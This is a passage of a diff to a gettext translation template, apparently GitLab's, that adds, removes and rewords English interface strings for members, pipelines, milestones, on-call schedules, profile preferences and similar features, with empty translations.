+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16414,6 +16789,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16618,9 +16996,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16681,16 +17056,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16753,7 +17122,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16765,7 +17134,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16813,6 +17182,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16837,9 +17209,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16996,7 +17365,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -17032,9 +17404,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -17044,12 +17425,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -17068,6 +17458,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -17119,6 +17512,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -17170,6 +17566,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17734,6 +18133,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17839,6 +18241,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17872,12 +18277,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17935,7 +18334,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -18031,6 +18430,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -18166,6 +18568,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -18199,6 +18604,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18424,7 +18832,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18580,6 +18988,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18685,9 +19096,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18871,9 +19279,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18910,6 +19315,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18928,6 +19336,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18940,6 +19351,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18979,6 +19393,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -19015,9 +19432,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -19033,6 +19456,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -19042,6 +19468,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -19168,6 +19597,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -19183,9 +19639,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -19210,9 +19663,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -19225,6 +19675,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -19234,7 +19690,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -19261,9 +19717,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -19345,6 +19798,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19411,9 +19867,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19459,6 +19912,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19615,6 +20071,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19729,6 +20188,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19753,9 +20215,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -20020,6 +20479,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -20128,9 +20590,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -20176,6 +20635,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -20188,6 +20650,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -20197,6 +20662,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20422,6 +20893,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20431,9 +20905,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20596,18 +21067,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20617,9 +21082,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20641,9 +21103,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20698,6 +21157,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20827,6 +21289,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20836,6 +21316,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20866,6 +21349,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -21223,9 +21709,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21478,7 +21961,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21520,6 +22006,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21580,9 +22069,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21604,6 +22090,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21673,6 +22165,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -22054,6 +22549,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -22369,6 +22867,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22522,6 +23023,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22609,9 +23113,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22690,6 +23191,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22717,9 +23221,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22924,9 +23425,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22942,15 +23440,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -23029,6 +23524,18 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -23065,6 +23572,15 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -23116,6 +23632,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -23146,12 +23665,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -23179,6 +23704,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -23212,10 +23740,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -23341,12 +23869,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23473,6 +24007,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23515,6 +24052,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23539,6 +24079,9 @@ msgstr[5] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23608,6 +24151,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23671,12 +24217,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23704,9 +24244,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23809,12 +24346,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23833,7 +24364,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23890,15 +24421,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -24001,6 +24526,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -24040,9 +24568,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -24166,6 +24691,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -24352,6 +24880,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24520,6 +25051,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24637,9 +25174,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24982,12 +25516,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -25030,21 +25558,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -25063,6 +25600,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -25159,9 +25699,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -25216,13 +25753,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -25255,6 +25795,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -25354,10 +25897,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -25408,6 +25954,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25519,9 +26068,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25567,7 +26113,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25648,10 +26194,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
